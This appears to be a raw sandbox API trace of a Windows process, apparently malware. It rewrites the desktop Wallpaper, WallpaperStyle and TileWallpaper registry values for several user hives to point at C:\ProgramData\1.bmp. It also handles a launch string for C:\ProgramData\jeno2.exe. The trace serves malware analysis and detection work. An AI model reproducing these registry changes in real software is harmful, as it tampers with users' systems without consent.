0x0 [0176.591] GetLastError () returned 0x0 [0176.591] SysStringByteLen (bstr="䩂䵃䱑") returned 0x6 [0176.591] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x53a5384, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0176.591] SysStringByteLen (bstr="䩂䵃䱑") returned 0x6 [0176.591] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x53a5384, cbMultiByte=7, lpWideCharStr=0x14f560c, cchWideChar=13 | out: lpWideCharStr="BJCMQL") returned 7 [0176.591] SysStringByteLen (bstr="䌢尺牐杯慲䑭瑡屡敪潮⸲硥≥ⴠ極") returned 0x1e [0176.591] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b48fc, cbMultiByte=30, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 30 [0176.591] SysStringByteLen (bstr="䌢尺牐杯慲䑭瑡屡敪潮⸲硥≥ⴠ極") returned 0x1e [0176.591] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b48fc, cbMultiByte=31, lpWideCharStr=0x1446d5c, cchWideChar=61 | out: lpWideCharStr="\"C:\\ProgramData\\jeno2.exe\" -ui") returned 31 [0176.591] RegFlushKey (hKey=0x720) returned 0x0 [0176.635] GetLastError () returned 0x0 [0176.635] RegCloseKey (hKey=0x720) returned 0x0 [0176.635] GetLastError () returned 0x0 [0176.636] SysStringLen (param_1="S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 0x42 [0176.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", cchWideChar=66, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 66 [0176.636] SysStringLen (param_1="S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 0x42 [0176.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", cchWideChar=67, lpMultiByteStr=0x1446d5c, cbMultiByte=67, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", lpUsedDefaultChar=0x0) returned 67 [0176.636] RegOpenKeyA (in: hKey=0x80000003, lpSubKey="S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x0) returned 0x2 [0176.636] GetLastError () returned 0x0 [0176.636] SysStringByteLen (bstr="ⵓⴱⴵ㤱卜景睴牡履楍牣獯景屴楗摮睯屳畃牲湥噴牥楳湯停汯捩敩屳祓瑳浥") returned 0x42 [0176.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1446d5c, cbMultiByte=66, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0176.636] SysStringByteLen (bstr="ⵓⴱⴵ㤱卜景睴牡履楍牣獯景屴楗摮睯屳畃牲湥噴牥楳湯停汯捩敩屳祓瑳浥") returned 0x42 [0176.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1446d5c, cbMultiByte=67, lpWideCharStr=0x1445ffc, cchWideChar=133 | out: lpWideCharStr="S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 67 [0176.636] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0176.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0176.636] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0176.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=21, lpMultiByteStr=0x14f5e2c, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\1.bmp", lpUsedDefaultChar=0x0) returned 21 [0176.637] SysStringLen (param_1="Wallpaper") returned 0x9 [0176.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Wallpaper", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0176.637] SysStringLen (param_1="Wallpaper") returned 0x9 [0176.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Wallpaper", cchWideChar=10, lpMultiByteStr=0x53a5384, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Wallpaper", lpUsedDefaultChar=0x0) returned 10 [0176.637] RegSetValueExA (hKey=0x0, lpValueName="Wallpaper", Reserved=0x0, dwType=0x1, lpData=0x14f5e2c, cbData=0x14) returned 0x6 [0176.637] GetLastError () returned 0x0 [0176.637] SysStringByteLen (bstr="慗汬慰数r") returned 0x9 [0176.637] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x53a5384, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0176.637] SysStringByteLen (bstr="慗汬慰数r") returned 0x9 [0176.637] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x53a5384, cbMultiByte=10, lpWideCharStr=0x14f560c, cchWideChar=19 | out: lpWideCharStr="Wallpaper") returned 10 [0176.637] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0176.637] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5e2c, cbMultiByte=20, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0176.637] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0176.637] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5e2c, cbMultiByte=21, lpWideCharStr=0x14b48fc, cchWideChar=41 | out: lpWideCharStr="C:\\ProgramData\\1.bmp") returned 21 [0176.637] RegFlushKey (hKey=0x0) returned 0x6 [0176.637] GetLastError () returned 0x0 [0176.637] RegCloseKey (hKey=0x0) returned 0x6 [0176.637] GetLastError () returned 0x0 [0176.638] SysStringLen (param_1="S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 0x42 [0176.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", cchWideChar=66, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 66 [0176.638] SysStringLen (param_1="S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 0x42 [0176.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", cchWideChar=67, lpMultiByteStr=0x144265c, cbMultiByte=67, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", lpUsedDefaultChar=0x0) returned 67 [0176.638] RegOpenKeyA (in: hKey=0x80000003, lpSubKey="S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x0) returned 0x2 [0176.638] GetLastError () returned 0x0 [0176.638] SysStringByteLen (bstr="ⵓⴱⴵ㤱卜景睴牡履楍牣獯景屴楗摮睯屳畃牲湥噴牥楳湯停汯捩敩屳祓瑳浥") returned 0x42 [0176.638] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144265c, cbMultiByte=66, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0176.638] SysStringByteLen (bstr="ⵓⴱⴵ㤱卜景睴牡履楍牣獯景屴楗摮睯屳畃牲湥噴牥楳湯停汯捩敩屳祓瑳浥") returned 0x42 [0176.638] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144265c, cbMultiByte=67, lpWideCharStr=0x1445ffc, cchWideChar=133 | out: lpWideCharStr="S-1-5-19\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 67 [0176.638] SysStringLen (param_1="0") returned 0x1 [0176.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0176.638] SysStringLen (param_1="0") returned 0x1 [0176.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=2, lpMultiByteStr=0x14f5e2c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0", lpUsedDefaultChar=0x0) returned 2 [0176.638] SysStringLen (param_1="WallpaperStyle") returned 0xe [0176.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WallpaperStyle", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0176.639] SysStringLen (param_1="WallpaperStyle") returned 0xe [0176.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WallpaperStyle", cchWideChar=15, lpMultiByteStr=0x14f560c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WallpaperStyle", lpUsedDefaultChar=0x0) returned 15 [0176.639] RegSetValueExA (hKey=0x0, lpValueName="WallpaperStyle", Reserved=0x0, dwType=0x1, lpData=0x14f5e2c, cbData=0x1) returned 0x6 [0176.639] GetLastError () returned 0x0 [0176.639] SysStringByteLen (bstr="慗汬慰数卲祴敬") returned 0xe [0176.639] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f560c, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0176.639] SysStringByteLen (bstr="慗汬慰数卲祴敬") returned 0xe [0176.639] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f560c, cbMultiByte=15, lpWideCharStr=0x14b48fc, cchWideChar=29 | out: lpWideCharStr="WallpaperStyle") returned 15 [0176.639] SysStringByteLen (bstr="0") returned 0x1 [0176.639] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5e2c, cbMultiByte=1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0176.639] SysStringByteLen (bstr="0") returned 0x1 [0176.639] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5e2c, cbMultiByte=2, lpWideCharStr=0x53a5384, cchWideChar=3 | out: lpWideCharStr="0") returned 2 [0176.639] RegFlushKey (hKey=0x0) returned 0x6 [0176.639] GetLastError () returned 0x0 [0176.639] RegCloseKey (hKey=0x0) returned 0x6 [0176.639] GetLastError () returned 0x0 [0176.639] SysStringLen (param_1=" ") returned 0x104 [0176.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=260, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 260 [0176.640] SysStringLen (param_1=" ") returned 0x104 [0176.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=261, lpMultiByteStr=0x53ccd0c, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 261 [0176.640] RegEnumKeyA (in: hKey=0x80000003, dwIndex=0x2, lpName=0x53ccd0c, cchName=0x104 | out: lpName="S-1-5-20") returned 0x0 [0176.640] GetLastError () returned 0x0 [0176.640] SysStringByteLen (bstr="ⵓⴱⴵ〲 †††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††") returned 0x104 [0176.640] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x53ccd0c, cbMultiByte=260, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 260 [0176.640] SysStringByteLen (bstr="ⵓⴱⴵ〲 †††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††") returned 0x104 [0176.640] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x53ccd0c, cbMultiByte=261, lpWideCharStr=0x14e628c, cchWideChar=521 | out: lpWideCharStr="S-1-5-20") returned 261 [0176.640] SysStringLen (param_1="S-1-5-20\\Control Panel\\Desktop") returned 0x1e [0176.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-20\\Control Panel\\Desktop", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0176.640] SysStringLen (param_1="S-1-5-20\\Control Panel\\Desktop") returned 0x1e [0176.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-20\\Control Panel\\Desktop", cchWideChar=31, lpMultiByteStr=0x14b48fc, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S-1-5-20\\Control Panel\\Desktop", lpUsedDefaultChar=0x0) returned 31 [0176.640] RegOpenKeyA (in: hKey=0x80000003, lpSubKey="S-1-5-20\\Control Panel\\Desktop", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x720) returned 0x0 [0176.641] GetLastError () returned 0x0 [0176.641] SysStringByteLen (bstr="ⵓⴱⴵ〲䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x1e [0176.641] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b48fc, cbMultiByte=30, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 30 [0176.641] SysStringByteLen (bstr="ⵓⴱⴵ〲䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x1e [0176.641] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b48fc, cbMultiByte=31, lpWideCharStr=0x1445ffc, cchWideChar=61 | out: lpWideCharStr="S-1-5-20\\Control Panel\\Desktop") returned 31 [0176.641] SysStringLen (param_1="0") returned 0x1 [0176.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0176.641] SysStringLen (param_1="0") returned 0x1 [0176.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=2, lpMultiByteStr=0x1452454, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0", lpUsedDefaultChar=0x0) returned 2 [0176.641] SysStringLen (param_1="TileWallpaper") returned 0xd [0176.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TileWallpaper", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0176.641] SysStringLen (param_1="TileWallpaper") returned 0xd [0176.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TileWallpaper", cchWideChar=14, lpMultiByteStr=0x14f5634, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TileWallpaper", lpUsedDefaultChar=0x0) returned 14 [0176.641] RegSetValueExA (in: hKey=0x720, lpValueName="TileWallpaper", Reserved=0x0, dwType=0x1, lpData="0", cbData=0x1 | out: lpData="0") returned 0x0 [0176.642] GetLastError () returned 0x0 [0176.642] SysStringByteLen (bstr="楔敬慗汬慰数r") returned 0xd [0176.642] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5634, cbMultiByte=13, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0176.642] SysStringByteLen (bstr="楔敬慗汬慰数r") returned 0xd [0176.642] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5634, cbMultiByte=14, lpWideCharStr=0x14f5b84, cchWideChar=27 | out: lpWideCharStr="TileWallpaper") returned 14 [0176.642] SysStringByteLen (bstr="0") returned 0x1 [0176.642] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1452454, cbMultiByte=1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0176.642] SysStringByteLen (bstr="0") returned 0x1 [0176.642] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1452454, cbMultiByte=2, lpWideCharStr=0x14f5e2c, cchWideChar=3 | out: lpWideCharStr="0") returned 2 [0176.642] RegFlushKey (hKey=0x720) returned 0x0 [0176.667] GetLastError () returned 0x0 [0176.667] RegCloseKey (hKey=0x720) returned 0x0 [0176.667] GetLastError () returned 0x0 [0176.667] SysStringLen (param_1="S-1-5-20\\Control Panel\\Desktop") returned 0x1e [0176.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-20\\Control Panel\\Desktop", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0176.667] SysStringLen (param_1="S-1-5-20\\Control Panel\\Desktop") returned 0x1e [0176.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-20\\Control Panel\\Desktop", cchWideChar=31, lpMultiByteStr=0x14b4c5c, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S-1-5-20\\Control Panel\\Desktop", lpUsedDefaultChar=0x0) returned 31 [0176.667] RegOpenKeyA (in: hKey=0x80000003, lpSubKey="S-1-5-20\\Control Panel\\Desktop", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x720) returned 0x0 [0176.668] GetLastError () returned 0x0 [0176.668] SysStringByteLen (bstr="ⵓⴱⴵ〲䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x1e [0176.668] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4c5c, cbMultiByte=30, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 30 [0176.668] SysStringByteLen (bstr="ⵓⴱⴵ〲䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x1e [0176.668] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4c5c, cbMultiByte=31, lpWideCharStr=0x144265c, cchWideChar=61 | out: lpWideCharStr="S-1-5-20\\Control Panel\\Desktop") returned 31 [0176.668] SysStringLen (param_1="10") returned 0x2 [0176.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="10", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0176.668] SysStringLen (param_1="10") returned 0x2 [0176.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="10", cchWideChar=3, lpMultiByteStr=0x1452454, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="10", lpUsedDefaultChar=0x0) returned 3 [0176.668] SysStringLen (param_1="WallpaperStyle") returned 0xe [0176.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WallpaperStyle", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0176.668] SysStringLen (param_1="WallpaperStyle") returned 0xe [0176.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WallpaperStyle", cchWideChar=15, lpMultiByteStr=0x14f5b84, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WallpaperStyle", lpUsedDefaultChar=0x0) returned 15 [0176.668] RegSetValueExA (in: hKey=0x720, lpValueName="WallpaperStyle", Reserved=0x0, dwType=0x1, lpData="10", cbData=0x2 | out: lpData="10") returned 0x0 [0176.668] GetLastError () returned 0x0 [0176.669] SysStringByteLen (bstr="慗汬慰数卲祴敬") returned 0xe [0176.669] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5b84, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0176.669] SysStringByteLen (bstr="慗汬慰数卲祴敬") returned 0xe [0176.669] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5b84, cbMultiByte=15, lpWideCharStr=0x14b4c5c, cchWideChar=29 | out: lpWideCharStr="WallpaperStyle") returned 15 [0176.669] SysStringByteLen (bstr="〱") returned 0x2 [0176.669] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1452454, cbMultiByte=2, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0176.669] SysStringByteLen (bstr="〱") returned 0x2 [0176.669] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1452454, cbMultiByte=3, lpWideCharStr=0x14f5634, cchWideChar=5 | out: lpWideCharStr="10") returned 3 [0176.669] RegFlushKey (hKey=0x720) returned 0x0 [0176.670] GetLastError () returned 0x0 [0176.670] RegCloseKey (hKey=0x720) returned 0x0 [0176.670] GetLastError () returned 0x0 [0176.670] SysStringLen (param_1="S-1-5-20\\Control Panel\\Desktop") returned 0x1e [0176.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-20\\Control Panel\\Desktop", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0176.670] SysStringLen (param_1="S-1-5-20\\Control Panel\\Desktop") returned 0x1e [0176.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-20\\Control Panel\\Desktop", cchWideChar=31, lpMultiByteStr=0x14b4c5c, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S-1-5-20\\Control Panel\\Desktop", lpUsedDefaultChar=0x0) returned 31 [0176.670] RegOpenKeyA (in: hKey=0x80000003, lpSubKey="S-1-5-20\\Control Panel\\Desktop", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x720) returned 0x0 [0176.670] GetLastError () returned 0x0 [0176.670] SysStringByteLen (bstr="ⵓⴱⴵ〲䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x1e [0176.671] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4c5c, cbMultiByte=30, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 30 [0176.671] SysStringByteLen (bstr="ⵓⴱⴵ〲䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x1e [0176.671] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4c5c, cbMultiByte=31, lpWideCharStr=0x1445ffc, cchWideChar=61 | out: lpWideCharStr="S-1-5-20\\Control Panel\\Desktop") returned 31 [0176.671] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0176.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0176.671] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0176.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=21, lpMultiByteStr=0x14f5634, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\1.bmp", lpUsedDefaultChar=0x0) returned 21 [0176.671] SysStringLen (param_1="Wallpaper") returned 0x9 [0176.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Wallpaper", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0176.671] SysStringLen (param_1="Wallpaper") returned 0x9 [0176.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Wallpaper", cchWideChar=10, lpMultiByteStr=0x1452454, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Wallpaper", lpUsedDefaultChar=0x0) returned 10 [0176.671] RegSetValueExA (in: hKey=0x720, lpValueName="Wallpaper", Reserved=0x0, dwType=0x1, lpData="C:\\ProgramData\\1.bmp", cbData=0x14 | out: lpData="C:\\ProgramData\\1.bmp") returned 0x0 [0176.671] GetLastError () returned 0x0 [0176.671] SysStringByteLen (bstr="慗汬慰数r") returned 0x9 [0176.672] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1452454, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0176.672] SysStringByteLen (bstr="慗汬慰数r") returned 0x9 [0176.672] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1452454, cbMultiByte=10, lpWideCharStr=0x14f5b84, cchWideChar=19 | out: lpWideCharStr="Wallpaper") returned 10 [0176.672] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0176.672] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5634, cbMultiByte=20, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0176.672] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0176.672] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5634, cbMultiByte=21, lpWideCharStr=0x14b4c5c, cchWideChar=41 | out: lpWideCharStr="C:\\ProgramData\\1.bmp") returned 21 [0176.672] RegFlushKey (hKey=0x720) returned 0x0 [0176.686] GetLastError () returned 0x0 [0176.686] RegCloseKey (hKey=0x720) returned 0x0 [0176.686] GetLastError () returned 0x0 [0176.686] SysStringLen (param_1="S-1-5-20\\Control Panel\\Desktop") returned 0x1e [0176.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-20\\Control Panel\\Desktop", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0176.686] SysStringLen (param_1="S-1-5-20\\Control Panel\\Desktop") returned 0x1e [0176.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-20\\Control Panel\\Desktop", cchWideChar=31, lpMultiByteStr=0x143353c, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S-1-5-20\\Control Panel\\Desktop", lpUsedDefaultChar=0x0) returned 31 